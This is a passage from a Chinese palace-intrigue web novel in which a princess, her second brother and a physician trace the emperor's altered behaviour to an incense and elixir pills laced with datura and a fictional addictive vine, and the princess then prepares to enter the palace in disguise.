李行渊像是看出了李意清心中所想，哈哈大笑起来，但是笑了两声，意识到此地并非可以哄笑的地方，立刻收敛了笑声。
“反正又不是第一次抗旨了。”他说的满不在乎，“而且我是在尽孝道，任谁见了，也挑不出一点毛病。”
李意清像是被他感染了，“皇兄就不会像你这般无所顾忌。”
李行渊深以为然，“皇兄就是把自己压得太累了，要我说父皇越老越糊涂，这样的旨意尽也能听进去。”
李意清咳了一声：“皇兄慎言。”
李行渊：“你们啊，就是顾忌太多。罢了罢了，元辞章呢？他没有陪在你身边？”
二皇子向来不喜欢元辞章，后来宫宴上连输，印象更差了。
李意清：“他受封为户部侍郎，反正守陵我一人也……”
李行渊像是终于捉住了元辞章的错处，猛地大喝一声：“我就知道他不是什么好人。”
李意清：“是我让他专心政事的。”
李行渊：“那也不是什么好人，这都什么时候，还不是以你为重……”
“可是，”李意清顿了顿，“他每隔一晚都会过来送我糕点。”
“……”
永定陵在京畿，虽然不远，但是来回一趟，少说两个时辰。
李行渊嘴硬道：“在陵墓私会，更不像好人了。李意清，你那眉毛底下是摆设吗？”
李意清无话可说。
元辞章有时带的是她喜欢的琼花酥，有时候带茗禾烧的菜，来了也只是陪她说话，讲一讲京中变化。
可是经过李行渊的嘴，倒是显得元辞章不像个正人君子了。
李行渊见她无话反驳，扬眉吐气道：“看吧。元辞章就是一个小人。”
他说的斩钉截铁。
李意清：“……你怎么对元辞章那般厌恶？”
李行渊摆了摆手：“厌恶？你少给他贴金了，我才不在意他呢。”
李意清一瞬不瞬看着他。
李行渊被她看得心虚，“行了行了，我不说他了还不行吗？”
李意清道：“你真不说？”
“……”李行渊被她看得没了辙，顿了顿压低声音道，“元辞章和那韩二在一起，焉能是什么好人。”
韩二，韩尚书韩珦家的二公子韩鹤宁，李意清是见过的。
李行渊说完，不等李意清问“韩二怎么你了？”，他自顾自地往后接着道，“七年前，我正在街上逛，你猜怎么着，韩二在书斋捧着话本，笑得猥琐粗鄙，实在不堪入目。”
李意清：“？？？”
179. 抚心
无意中被中伤的李意清神色苍白了几分。
她虽然不知道自己看话本的时候是何状态，但是偶尔也能通过毓心隐晦地描述，大抵是会时不时笑一声，或者抱着软垫满床打滚。
李行渊继续道：“那书名我也瞄到了一眼——《几时魂梦与君同》，你说说，能是什么好书？”
李意清：“我，我……”
我也看过。
不对，这本书分明是以她和元辞章为蓝本，如果说七年前，那时候她和元辞章八字还没一撇。
应该只是巧合重名。
李意清气顺了一些。
李行渊：“算了算了，不提他们俩也罢。李意清，你们脸色怎么这么差？”
李意清面不改色：“站久了，腿麻。”
李行渊立刻急色道：“那还站着做什么，我赶路到这里，还没有吃饭，陵中有可供吃饭的地方吗？”
李意清有些无语道：“自然有的。”
她召来侍女，吩咐准备饭菜后，带李行渊先去后院洗漱。
还在孝期，菜色大多是素食，入目满眼绿色。
旁边的侍女介绍道：“虽然都是素食，但是师傅手艺好，二殿下……”
她话音未落，看见李行渊已经迫不及待地端起了饭碗，埋头吃饭。
“好吃。”
侍女：“……”
李意清朝她摆了摆手，“你先退下吧。”
侍女福了福身子，退了出去。
李行渊一口气吃完了三碗饭，见李意清停下了手上的筷子，蹙起眉间，语气不悦：“你每日就吃这么点？”
李意清的饭量不算大，但是比起一般的闺阁千金还是要多一些。
面对李行渊，李意清说话比过去直白许多。
“我怕我都吃完了你不够吃。”
李行渊看了看被他吃完的三个碗和五个菜碟，诡异地陷入了沉默。
李意清继续不慌不忙道：“不知道，还以为你在漳地饿坏了。”
李行渊不再搭理她，埋头吃饭。
托李行渊的福，今日的菜一点没浪费。
李意清出来以后，烧菜的师傅紧张地凑到李意清的身边问道：“殿下，二皇子吃的可还习惯？”
二皇子久不在京城，他也不知道二皇子会喜欢什么样式的。
茴香在旁道：“可喜欢了，吃的可多了。”
师傅眉眼漫上一抹喜色：“当真？”
至于吃的多，他丝毫不在意，二皇子毕竟也是一个成年男子，一餐饭多吃点怎么了？
他进去收拾碗筷。
然后他就沉默了。
*
另一边，李意清姗姗收到柳夕年的回信。
柳夕年简单讲述了自己的情况，她在西北的生意越做越大，已经盘下十七家铺子。
但是最近西北战事频繁，收入有所下降。
毕竟一块地方总有战事连绵，自然会影响来往的商贾。
至于李序泽被“贬”到西北，柳夕年持乐观态度——
虽然西北之行九死一生，但既是机遇也是挑战，如果在这边办事得力，他日东山再起不是问题。
京城暗箭难防，西北真刀实枪，相比之下，还是明着来更好处理。
柳夕年劝李意清不必过于担心。
李意清将信纸收好，茴香在旁问道：“殿下可要回信？”
“不用。”李意清心情颇好，“等查出香料的不对劲，我去西北一趟。”
茴香愣了一瞬，立刻笑着点头。
入夜后，永定陵外只剩下驻守的禁军。
李意清是李序泽的亲妹妹，又持着禁军令牌，现在李序泽不在京城，他们都默认听从李意清的指示。
对于夜访的元辞章，选择了睁一只眼闭一只眼。
前夜元辞章来过，按照两人的约定，今夜他会过来。
乍暖还寒，李意清多披了一件外袍，坐在三百多级台阶上等待。
看树木不觉，但是夜间抬头望天，很容易品出春夜繁星的灿烂。
李意清偏爱这样的静谧，让茴香和毓心都先回去休息。
毓心有些不放心，李意清道：“禁军就在下面巡逻，能出什么大事？”
茴香道：“毓心，如果禁军都打不过，你我留在这里也起不到作用。”
毓心瞪了她一眼。
茴香吐了吐舌头。
永定陵自然不会出什么岔子，一个已故去的明朝皇后，一个成不了大事的公主，谁会将视线放在这里。
两人离开，给李意清一片独处的空间。
漫天的繁星如锦绣织缎，万千如坠，李意清看了一会儿，一阵目眩。
她低下头眨了眨眼睛，缓解长久一个姿势看天的酸涩感。
刚一低头，只见一匹骏马飞驰而来。
红棕的骏马和月白的衣袍很有辨识度。
李意清好整以暇，静静托腮看着身影越来越近。
不对，不是一个人。
还有一个人穿着灰黑色的衣裳，紧紧靠在元辞章的身上。
元辞章先下马，而后扶着灰黑色的身影下来。
灰黑色的人影扶着光秃秃的桃树干呕一阵，才慢慢跟在元辞章的身后朝上走。
三百多级台阶看着壮观，但是真爬上来，只剩下进气了。
元辞章和气喘吁吁的邱念慈出现在李意清的视线中。
李意清咻地一下站起身，连忙走到邱念慈的身边，语气关切：“邱先生怎么也过来了？”
邱念慈小脸惨白，胡子凌乱，双目涣散无神，口中念叨着：“老朽不坐了，老朽不坐了。”
这是被颠怕了。
李意清向元辞章投去视线，虽然没说话，却带了一丝嗔怪。
——你怎么带的人。
元辞章用唇语回她：是邱先生催他快一些。
李意清转身进去，倒了一碗热水，加了些陈皮碎，递给邱念慈。
邱念慈一饮而尽，缓了过来，对李意清道：“香，我查出来了。”
李意清立刻站直了身子。
元辞章忽然脸色一肃，踮脚轻跃，唰地一声抽出腰间的佩剑。
有人在偷听！
察觉到这一点的李意清拽着邱念慈连忙后退了数步。
李行渊双手高高举起，从石狮子的雕像后走了出来。
面对森森的剑刃，他白日的轻嗤都化作谨慎。
李意清愣了一下，“皇兄？”
她不是送他回房休息了吗？
李行渊看着元辞章冷淡到没有一丝感情的面容，踮着脚尖快速走到李意清的身后，对着元辞章道：“都是一家人，先把剑放下。”
而后对李意清道：“吃的太多，有些积食，睡不着，出来转转。”
他说的诚恳之至。
元辞章询问地看向李意清。
李意清朝他点了点头。
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元辞章利落地收回长剑，走到李行渊的身边，淡声见礼：“二殿下安。”
李行渊：安个屁安，老子差点就死了。
果然元辞章怎么看都很讨厌。
他在心中嘀咕了一句，转而对李意清道：“李意清，你是不是查到了什么不对劲？”
李意清没说话，元辞章也没说话。
邱念慈焦急地拉着李意清的衣袖，压低声音对她道：“殿下，二殿下可是淑贵妃的人……”
李行渊虽然武功不行，但是耳力极佳，立刻蹙眉道：“别把我和她混作一谈。”
邱念慈被人听到了，也并不尴尬，他哼了一声：“可是二殿下现在应该回京接受陛下召见，而不是站在角落听人墙角。”
李行渊：“……我说了只是消食正好路过。”
李意清看着李行渊，今日之事，她需要自己先听过，才能确定能不能让他人知晓。
多一个人多一份危险。
李意清：“二皇兄，你先……”
李行渊：“今日误打误撞，是我的疏漏。如果可以与我讲，我愿尽微薄之力。”
他瞄了一眼元辞章腰间的剑，知道自己但凡开口强留，那把利剑必然毫不犹豫地出鞘。
说完，他一甩衣袖，恶狠狠地瞪了邱念慈一眼。
老头，就是你不说给我听。
下次捉蛇甩你家里。
邱念慈呛回去：“蛇胆啊，那可是上好的药材！”
李行渊的步子一个趔趄。
他走后，邱念慈正了正神色，朝李意清拱手道：“殿下，此处不是可以说话的地方。”
李意清点了点头，“走，去我房中。”
三人猫着脚步，没有惊动任何人。
灯火如豆，暖黄色的光线落在三人的面上。
邱念慈顿了顿，才拿出上次他带回去的绢絮刺绣，语气郑重道：“此香料我本束手无策，后来看到我恩师的笔录，才确定此香是曼陀罗和抚心两种香按一定比例混合而成。”
李意清：“曼陀罗和抚心？”
“正是，”邱念慈解释道，“曼陀罗又名曼荼罗花，相传佛祖传法时，手拈曼荼罗花，下起漫天曼荼罗花雨，故而很长一段时间被人认作是吉祥之物。此物在中原并不常见，多生在于西域天竺，如果利用得当，可镇痛止咳、平喘解痉，可若是使用不当，也会引起幻觉、躁狂、心悸不宁。”
出现幻觉、躁狂、心悸不宁。
李意清嗓子有些干，努力平静自己的思绪：“那抚心呢？”
“抚心和曼陀罗效用类似，只是有更强的成瘾性。抚心原材取自腐心藤，一日不用，心如刀绞，用了之后，则会觉得心旷神怡。”邱念慈斟酌着开口。
李意清眸光冷了冷。
害人的东西，也配叫做抚心？
屋内没有外人，李意清没有隐瞒自己见到的顺成帝：“那日……太和殿中，我见到的父皇，正如你所描述那般。”
如果顺成帝当时是中了致幻的药，让他性情大变，那么一切都说得通了。
甚至，皇后的死也和下药之人脱不了干系。
只要顺着这条线索一直往下挖掘，必然能捉到真正的幕后之人。
李意清立刻想起自己曾在淑贵妃的身上也闻到了一模一样的味道。
邱念慈顿了顿，“可是从香的调配来看，香炉里的用量并不多，依此剂量，至少五到八年才会起效。”
180. 态度恶劣
这就奇了怪了，五到八年才会起效，可是现在看来，顺成帝的症状绝不像刚刚才中毒的模样。
再者说，如果直接投入在香炉之中，偌大的太和殿中不会只有顺成帝一人中招。
来往洒扫的宫女太监可都好好的。
李意清蹙紧了眉间。
元辞章道：“邱先生是否有所怀疑？”
邱念慈点了点头：“我怀疑熏香只是其一，若想要彻底达到曼陀罗的功效，应当还需要其他药物辅助。”
曼陀罗和腐心藤都是稀罕之物，其他的药物添加，应当就不会浪费在其他不相干的人身上。
“在宫中能直接接近陛下身边的，除了御膳房，就是司绣署。”邱念慈目光紧紧锁定在李意清的身上，“殿下可有办法接触到这两者？”
李意清尚在孝期，至少还要在永定陵待满两个月。
她等不了这么久。
李意清在脑海中思索适合的人选，可思前想后，能不受淑贵妃直接拘束，并且能合理出入皇宫的，只有二皇子。
李意清将自己的想法如实讲了。
邱念慈摸着胡子，许久轻声道：“我相信殿下看人的能力。”
李意清看了一眼天色，远方天际已经微微浮现鱼肚白。
“时候不早了，你们先回去。”李意清打定主意，“二皇兄那边，我去说。”
元辞章和邱念慈颔首。
等邱念慈走到门边，李意清忽然出声道：“邱先生，父皇所中之毒，可有什么法子能让他好受一些？”
邱念慈一点也不意外，像是早就猜到了李意清会出此一问。
他道：“这两物都是西域东西，老朽还需要回去仔细研读医术，才能力求稳妥。”
李意清深吸一口气，朝邱念慈道谢：“多谢邱先生。”
两人离开之后，李意清在心中打完腹稿，才抬起脚步，走到李行渊的院子门口。
刚举起手，院子的门就被人从里面打开了。
李行渊还穿着今日白天的那身衣裳，没有换洗。
许是坐在院子中等的久了，他头发被风吹散了不少，眼底一片青黑。
算上连夜赶路，他差不多快一个月没有睡上一个安稳觉了。
李行渊：“进来吧。”
李意清跟在他的身后，走在院子中的大理石凳上坐下。
李意清：“皇兄怎么到现在还没有休息？”
李行渊小小地打了一个哈欠，语气认真：“睡不着。”
李意清：“……”
行吧，他说什么就是什么。
李行渊自己也说不准自己在赌什么。或者只是一时脑热，觉得她一定会过来。
他撇开自己杂七杂八的想法，伸手在自己的大腿根上狠狠掐了一把，迫使自己提起精神。
李意清没注意到他的小动作，沉吟片刻，将自己脑海中酝酿的说辞讲了出来。
“曼陀罗和腐心藤？”李行渊骤紧眉头。
李意清道：“你知道它们？”
“自然知道。”李行渊轻咳一声，他常年和各种毒物打交道，自然对这些不算陌生。
如非漳地距离西域实在太过遥远，他真想亲手种上几株腐心藤，看看它是否会像传说中描述那般，腐蚀贴近自己的一切活物。
李行渊没给李意清追问下去的机会，直白问道：“需要我做什么？”
李意清：“父皇的衣着，膳食，乃至于一切近身的东西。”
李行渊摸了摸下巴，忽然想起了什么。
“你还记得父皇什么时候开始出现异常吗？”
李意清在心中估算，上次李序泽腿被燃烧的房梁砸伤的时候他尚且依旧慈和，距现在最多不超过七个月。
李行渊若有所思：“我明白了，明日一早，我就启程回宫。”
翌日一早，二皇子的仪仗浩浩荡荡从永定陵出发，朝着皇宫而去。
奉命从皇宫前来接应的侍卫昨天才被二皇子轰走，谁知道今天早上还在梦里，就听到底下人来报：二皇子改变主意，又要回京了。
侍卫认命地连夜折返回来。
二皇子行事向来变化无端，他们也没希冀过一路上能够平安无事。
李行渊翻身上马，朝李意清颔首致意，转身回到京城。
李意清目送他离开后，回到了自己冷冷清清的院子。
洛石正在担水灌满水缸，最后一桶水刚满，他将木盖盖在了水缸上，防止风起吹落叶片掉入水缸。
李意清忽然出声道：“洛石。”
“殿下有何吩咐？”洛石挠着脑袋走近前。
“你教我一些简单的招式。”李意清望着他。
洛石：“殿下，你怎么突然想学这个？”
李意清也说不清自己心中的感觉，“会一些简单的防身术吧，以后如果遇到不测，能有点自保之力。”
洛石本想说有他们在，自然能保护殿下周全。
可是一想到顺成帝身边大内高手如云，却依旧不免被暗算的情况，有些戚戚然。
他只低落了一瞬间，立刻重新振作起精神，眸子灿若星辰：“殿下想学什么？”
李意清道：“先从最基础的开始吧。”
凡事讲究一步步来，打好基础，后续学习事半功倍。
洛石正有此意，闻言带着李意清走到空旷的场地，从扎马步开始练起。
来来往往的侍卫和守陵婢女经过，每次路过，都能看到李意清一丝不苟练习的身影。
刮风下雨，雷打不动。
曾经猜测李意清坚持不到三天的侍卫纷纷打脸，原先对於光公主还没什么印象，此番一来，连巡陵都变得更加认真。
公主都能早起，他们有什么理由做不到呢。
茴香每次听到别人的惊叹，都会与有荣焉地昂首挺胸。
以前殿下学剑舞的时候就有底子在，那时候手脚磨出茧子，也没说过半个累字。
现在才哪到哪。
不过如果问茴香能否像公主一样坚持下来，那她肯定摇头否认。
不说别的，就单论那个扎马步她就站不住。
两个月时间眨眼而过。
守陵结束，顺成帝派身边的太监来传话，夸赞她忠孝之类云云，最后赏了一块封地，在皇后的老家那一片。
李意清站起身后，朝身边的茴香看了一眼，茴香会意，上前接过圣旨。
她状似无意问道：“怎么今日不是徐公公过来传旨？”
申福全没有说话，神态倨傲。
旁边的小太监主动道：“陛下和贵妃娘娘体谅徐公公年迈，允他在宫中养老，现在是申福全申公公。”
茴香瞥了一眼申福全，在心底小声吐槽了一句。
以前徐公公还在的时候，他谨小慎微，伏低做小。现在一朝跃上来，瞬间用鼻孔看人。
毓心打了一个圆场：“多谢申公公传旨
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。公公先行一步，我们殿下稍后就跟上。”
申福全点了点头，先行离开。
李意清望着他的背影，等人影消失了，才转身回到院子里。
看来因为送来这一枚檀木珠，徐钱礼也受到了牵连。
毓心望着她的背影有心安慰，却不知道从何说起。
好在李意清恢复得很快，她轻声道：“我没事。”
毓心松了一口气。
等到查出真相，水落石出，她会将徐钱礼接出来养老。
东西装满了三个马车，李意清一步步走下陵园，沿阶而上的桃树长出了碧绿的新叶，粉色的花苞点缀其中。
满眼青绿，生机盎然。
她最后望了一眼，抬步上了马车。
公主府外，众人早已经翘首以盼，见到马车越靠越近，都不由自主激动起来。
二皇子的马车也准时出现在公主府外。
李行渊身穿一身墨蓝色的华服，头带玉冠，腰佩玉珏，除了脸上一道疤有些骇人，倒是颇有几分翩翩佳公子的感觉。
来往的少女忍不住临楼眺望，现在淑贵妃得宠，她举荐的玉顺仪前两日又升为了玉嫔，二皇子的地位也跟着水涨船高。
京中不少达官贵人也都失忆一般忘记二皇子曾经做过的荒唐事，只盼着自己的妹妹女儿能够得到二皇子的青睐，从此步步高升。
要知道，二皇子现在可还没有正妃。
二皇子李行渊对周边的惊呼不屑一顾。
熙熙攘攘，皆为利来。
李意清下来后，朝着他道：“二皇兄。”
李行渊抬起下巴看她，神色淡淡地：“父皇前几日下旨让我去永定陵接你，后来不忍我舟车劳顿，便让你自己过来了。”
李意清满不在乎：“哦。”
李行渊：“……”
他神色冷了几分，猛地一甩袖子，怒声道：“你这是什么态度？！”
李意清好整以暇地看着他：“二皇兄，要进去喝杯茶吗？”
周边路过的行人都有些不忍看李意清了。
二皇子摆明没将这个失势的公主放在心上，这么，不就是自取其辱吗？
果不其然，李行渊蹙起眉宇，啧了一声。
旁边的小厮就是李行渊的嘴替，他叉着腰，大声嚷嚷道：“我们殿下现在喝的，可都是上好顾者竹笋，你能有什么好茶招待我们殿下。”
旁边的人倒是想跟着讥笑几声，但是听到竹笋两字，纷纷抽了抽嘴角。
这听着，倒是不像什么正经茶叶啊。
李行渊无奈地扶额，小声提醒道：“是顾渚紫笋。”
小厮气势不减：“都一样，总之，若是比不上什么什么笋，就不必开口了。”
李意清有些受伤地望着他，伸手捂住了自己的胸口。
“二皇兄，皇妹家底有限，莫非你是嫌弃府上粗陋，不愿意踏足寒舍。”
小厮颐指气使：“就是嫌弃，怎么……”
李行渊咳了一声，低声提醒道：“差不多得了。”
别把话堵死了，今日过来就是要进去说正事的。
小厮话锋一转：“既然公主诚心恳求，我们殿下说，且喝一杯热茶再走。”
李行渊一脸嫌弃地走进了院子。
李意清落后他一步，看了一眼京城中围观的众人，跟她不小心对视上的众人纷纷低头，有些心虚。
“关门吧。”她道。
181. 子非鱼
众人见无热闹可看，纷纷散去。
李行渊进来之后，嘴硬道：“玉言说得对，若不是你诚心相邀，本殿是不会进来的。”
玉言，便是站在府门外叉腰的小厮。
他讲话直白粗陋，也不知道李行渊什么怪癖，给人取名玉言。
李意清顺坡上，顺着他的话接道：“茴香，去将最好的茶叶拿出来招待二皇子。”
茴香看了李行渊一眼，一句话没说，转身就走。
只是走的时候，步子跺得格外响。
几个人一路绕过假山回廊，步入了正殿中。
一直跟在李行渊身后的四个人忽然少了一个，不知道什么时候离开了。
李意清多望了一眼，李行渊捕捉到她的视线，坐下后道：“淑贵妃的人。”
“那他不多看一眼我们聊了什么？”李意清后他一步坐下。
李行渊挑了挑眉，却没有多说：“山人自有妙计。”
李意清了然，看来这个“淑贵妃的人”，也并非全然站在淑贵妃身边替她着想啊。
李行渊身为大庆的二皇子，有点手段算不上什么。
有些话李意清不好直接问，但洛石作为李意清的嘴替，出声道：“殿下府上再三彻查，并无疏漏，不知道二殿下剩下的……”
他一边说着，一边将视线移开站在李行渊身后的狗腿小厮和三个侍卫身上。
四人对上洛石的视线，皆是坦坦荡荡。
“属下唯二殿下马首是瞻。”
李行渊托腮笑得散漫，语气平静冷然：“这点把握，本殿还是有的。”
原先站在府门外神气十足的小厮玉言也态度谦卑了起来，他朝着李意清微微拱手，语气变得平和从容：“公主殿下见谅，方才一时情急，冒犯之处，还请海涵。”
若是茴香在，定要睁大眼睛，狠狠吃惊——原来这个人会好好讲话。
李行渊眼底含笑，轻声道：“玉言的名字可不是随便取的，他在漳地的时候便参与了州试，拿了头名，后来和祖父怄气，去镜花楼说了两年的书，成了镜花楼的首席先生。”
戏楼的首席先生，那可真要三寸不烂之舌，能说会道，还得逻辑连贯。
玉言正色：“殿下，别夸了。”
李行渊道：“好好好，不说了。”
李意清视线在两人身上流转，忍不住在心底笑了笑。
有一些人，还真是只有二皇兄这样的性子，才能发现得了、收服得了。
两人坐了一会儿，茴香端着托盘入内，上面放着一壶滚烫的茶水。
李行渊笑眯眯地等她倒水，姿态慵懒又随意。
茴香顾及他的身边还有监听的人，态度越发恭谨，动作斯文又柔和。
“二殿下请。”
李行渊觉得有趣，伸手摸了摸杯子，故作叹息：“这碧螺春新芽最是娇嫩，用沸水冲泡，口感会稍显苦涩，再者说这般清澈的茶汤，与其用白瓷杯，不如用琉璃杯装，才更显风雅。”
茴香本想直接瞪他，可是担心自己给殿下惹麻烦，有些局促地愣在原地。
李意清看不过去，出声道：“这般多的要求，下次直接喝山泉水。”
茴香也反应过来，原来屋子里没有需要顾忌的对象。
她立刻换了一副神情，将倒好的一杯换到李意清的面前，然后拍了拍手，走到了李意清的身后。
要想喝，自己倒！
李行渊摸了摸鼻子，干笑两声，见无人理会，悻悻给自己倒了一杯茶。
杯壁滚烫，李行渊试探了一下，打消了饮茶的念头，偏头看向李意清，神情认真了几分。
“你上次所说的事情，有了些许眉目。”
李意清端坐，洗耳恭听。
“你推测的御膳房和司绣署，我都去看了，并无不妥。”李行渊缓缓说道。
李意清怔了一瞬，旋即问道：“如果不是父皇的饮食和贴身衣物出了问题，那还会是哪里？”
毕竟父皇随时随地都有人伺候，没道理只影响他，不影响……
不，不对，还有只有顺成帝能接触到的——玄天塔方士炼制的金丹。
李行渊看她的神色，明白她也往这方面猜，对她点了点头，表示肯定。
他从袖子中半颗被压得有些扁的金丹，放在了桌上。
金丹没什么味道，做得浑圆，外面沾着金粉，故而被人称作金丹。
李行渊道：“这金丹被称为养元回春丹，是玄天塔第一人翟方士研制而成，比起寻常蜜丸，里头的甜味更加明显。”
李意清：“你尝了？”
李行渊：“……”
她还真是会抓重点。
李行渊含糊地“嗯”了一声，“尝了半颗，味道甜得很。”
不等李意清蹙眉说话，他紧接着道：“怪就怪在这甜味不同寻常，寻常蜜丸，怎么会需要这么浓烈的甜味，必然是为了掩盖住什么气息——正好曼陀罗入口滋味苦涩辛辣，刺激感强，腐心藤更不必说，苦中带麻，难以下咽……”
李意清沉了沉神色，玄天塔的方士是顺成帝亲自去青州的东莱郡请来的，原先他们自称蓬莱方士，被招进皇宫的时候可没有什么党派归属。
这才短短几个月时间。
究竟是被人收买，还是养元回春丹被人偷梁换柱，不得而知。
李行渊看不得她一副深沉的表情，语气随意道：“多么好笑，这些植物都已经长成难以下咽的味道了，可是还是会被人采摘而去，入他人腹中。”
李意清撇开心中纷繁复杂的思绪，低声道：“不管玄天塔方士有心还是无意，此后丹药都应想方设法断绝。”
李行渊忽然陷入沉默。
李意清：“怎么了？我哪里说的不对？”
李行渊抿了抿唇，春寒料峭，乍暖还寒，他的嘴角最易起皮。
“李意清，你猜这颗丹药，我怎么弄来的？”
茴香听得心急：“二皇子，这都什么时候，有话不能直接说出来？”
毓心和洛石也附和地点了点头。
“是父皇给你的。”
李意清只用了一瞬，就想明白了其中的关窍。
顺成帝知道丹药有问题。
白瓷杯的温度降下来了，摸着正好是一口喝的温度，李行渊一口气喝完茶水，对李意清道：“皇兄一直说你聪慧，我还不怎么觉得，现在看来，是有些本事。”
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聪慧，敏捷，有时候又会一意孤行，倔强不听劝，不撞南墙心不死。
李意清缓缓抬眸看他：“所以，二皇兄是特意前来告诉我，父皇知道丹药有问题，父皇却没有选择揭露，因为这是他自己的选择。”
李行渊点了点头，漆黑的眼眸犹如深夜。
和他对视上，仿佛能被拽进无尽的深渊。
“李意清，你也老大不小了，有时候，不能只凭着自己的心意做事。”
李序泽人前端方持重，即便被燃烧的房梁砸中双腿，被废黜的太子之位，也依旧笑容从容，不以己悲。
因为他是大庆的皇子。
皇后娘娘重病缠绵，不得下榻，可是在听闻太和殿有事发生，依旧需要妆发，而后前去劝道君王。
因为她是大庆的皇后。
每个人都不仅仅是一个人，他们身上还背负着另一层东西，迫使他们不得不这样做。
李行渊有时候会觉得，是皇后和以前的太子皇兄将她保护得太好，让她觉得世界上入目皆是好人，看见城南灾民，便一头钻了进去，看见舒州难民，也觉得自己无所不能，想方设法改变一切。
好像在她的世界，这世上没有坏人，只有好人和未被教化的好人。
李意清不知道自己在李行渊的心目中是这副形象，如果她能够读懂李行渊的心声，必然要大声反驳。
面对恶意之人，她从不心慈手软。
“所以，皇兄是担心我会为了父皇的身体着想，从而打乱他的计划？”李意清轻声问。
李行渊无声地默认。
在他的世界中，大局为重，既然顺成帝选择履行自己身为君主的责任与担当，就没有什么是不能割舍的。
比如皇后，太子，乃至自己的身体。
李意清：“你知道父皇为什么要这样做吗？你知道他的下一步计划会怎么样吗？你知道他这样做是真心谋划，还是受他人胁迫吗？二皇子殿下，这些你都清楚吗？”
李行渊愣了一瞬。
自从知道顺成帝知道自己每个三日便要服用的养元回春丹有问题后，他绷紧在心头的一块巨石猛然落地。
李行渊：“……那你焉知父皇没有这般打算。”
玉言忍不住在旁道：“行了，殿下，你别强撑着了。”
子非鱼，焉知鱼之乐；子非我，焉知我不知鱼之乐？
要是顺着这个话题争论下去，两人怕是能直接在院中大打出手，吵得不可开交。
正好，负责掌管膳食的茗禾隔门请示：“公主殿下，二殿下，饭菜已经准备妥当，两位现在可要用膳？”
吃人手软，拿人嘴短，这点道理李行渊还是知道，他主动歇了话题，“罢了罢了，要说的我都说了，事已至此，先吃饭吧。”
李意清也没争吵，她抬高了声音，对外道：“可。”
话音落下，宫女依此进入，将一道道菜肴摆上桌。
李行渊趁早出宫，到现在这个点除了方才的一杯茶，什么也没下肚。
狼吞虎咽了几口，李行渊像是想起了什么，伸手从怀中拿出了一枚漆黑的腰牌。
“你若是想知道陛下的心思，不如直接去问问他。”
182. 策划入宫
漆黑的腰牌上只简单系着一条流苏，此外再无其他装饰。
李行渊右手握着筷子，手脚麻利地将萝卜炖羊肉里的羊肉挑到自己的碗里。左手抽空在自己身上翻找，摸出一张字条。
“诺，这是宫里侍卫最少的几块地方。”
李意清看了毓心一眼，毓心上前两步，将腰牌和字条一起拿了过来。
字条上的字体歪七扭八，依稀能辨认出东门回廊。
“最近淑贵妃似乎忙的很，要见不少人，你若是进宫，可得换一幅装扮。”李行渊提醒道。
李意清点了点头，站起身道谢：“多谢皇兄。”
“不谢不谢。”李行渊埋头吃饭，也不知道李意清府上的厨子是从哪里搞到的，肉炖得软烂入味，汤汁鲜美，配上点缀的芫荽，一口下去鲜掉舌头。
碗中蒸腾的热气模糊了李行渊的视线，他忙里偷闲抬起脑袋，用手扇了扇风。
见到李意清站起身，一幅不打算再吃的模样，有些诧异：“你就吃这么点？不对，你不会是想现在就去皇宫吧。”
李意清朝他眨了眨眼睛，灵动又无辜。
李行渊：“……”
他伸手捂住自己的眼睛，情愿自己是个瞎子。
李意清摊开那团小字条，唔了一声，认真道：“皇兄，东门回廊那边要是走路，得经过好几道宫门，不如皇兄顺道送我一程，将我放在玉鲤池旁边。这样，去太和殿也会快一些。”
李行渊噎了一下，幽怨地看着李意清。
李意清好整以暇地看着他：“皇兄，可以吗？”
李行渊瞪着她，半响，闷声道：“等我吃完。”
李意清欣然点头，“茴香，洛石，你们在旁伺候，皇兄，若是不够，你直说便是。”
李行渊：“那你现在是要去哪里……”
他话音未落，房中已经没了李意清的身影。
茴香和洛石上前，一左一右站在李行渊的身边，积极地动筷布菜。
“二殿下，这道清蒸鲈鱼味道鲜美，水是城外叠翠峰的山泉水，甘甜清冽，鱼肉用刀细细片开，每处褶皱都沾满了酱汁。”
茴香一边说，一边用筷子夹了一块鱼肉，放在了李行渊面前的料碟中。
李行渊蹙起眉宇，身子僵硬：“我不吃别人夹给我的菜。”
玉言：“茴香姑娘，不必理会二殿下，让他自己吃就好。”
茴香撇了撇嘴，正欲开口说话，却看见洛石朝她微微摇头。
今天殿下还有事拜托他，且给他这个面子。
茴香站回原地，双手抱在胸前。李行渊感受到投来的视线，脑袋突突地跳。
一顿饭吃的李行渊食之无味，匆匆喝完汤后，他摸了摸肚子，对身旁的玉言道：“今日被人影响了心情，有些食不下咽，晚间再多准备一些饭菜，我填填肚子。”
玉言看着桌上空空的碗筷，沉默了一会儿，点头应是。
安排了夜间加餐，李行渊心情变得颇好，站起身整理了自己的衣摆后，目光在室内梭巡一圈。
“李意清呢？”
守在门口的侍女缓缓出现在门口，朝着李行渊拱了拱手道：“二殿下，我们殿下已经在马车上等你了。”
顿了顿，她补充道：“在二殿下您的马车上。”
李行渊：“……”
李行渊头痛得扶了扶自己的太阳穴，抬脚走到门口的马车边，掀开了车帘。
“李……你是谁？”
即将脱口而出的李在口中生生打了一个弯儿，小小的嘴瓢引来好几阵低笑。
马车中，坐着一个宦官模样的人，穿着灰不溜秋地衣裳，巨大的帽子遮住半边面容。
李行渊黑了脸，沉了嗓音：“你可知道这是谁的马车，也是随随便便就能上来的吗？”
“皇兄，你真没看出来？”
李意清拿下帽子抱在怀中，朝他展示自己的鞋履和外套：“诺，这是毓心特意帮我缝的垫肩，里面多穿两身衣裳，显得人更壮一些，鞋履也垫高了些许，站起来差不多有正常男子身高。”
李行渊凑近，仔细盯着李意清特意抹黑的面容，半响，缓缓给她比了一个大拇指。
“李意清，你有这份决心，做什么都会成功。”
李意清：“决心？”
李行渊道：“不吃饭折腾这些。”
知道马车中坐着的人是李意清后，李行渊不再迟疑，跳上马车。
“毓心那丫头呢？”
“虽然公主府被层层护住，但是为了避免疏漏，我让毓心穿上我的衣裳，坐在寝殿。”
李意清重新整理自己的帽子，将露出的发丝藏入其中。
“今日我找陛下，淑贵妃那边，还要请皇兄帮忙牵制。”李意清端坐在马车上，临近宫门，她低声道，“至于如何牵制，想来你心中已经有所打算。”
李行渊抿了抿嘴角，眼角微抬：“我横行无忌，你不愿伏低做小，在府门口就爆发了冲突。”
两人都是离经叛道的性子，借此机会在淑贵妃面前贬低公主，不失为一种话题。
毕竟在外看来，一个是已经失去依仗的公主，而另一个可是即将大权在握的皇子。
二皇子这么多年的名声积累，百姓闻之如洪水猛兽，他又怎么能辜负他人的期待，宽容大度就此别过。
李意清轻轻垂眸：“一个时辰。”
现在这个时辰，宫门已经落锁。
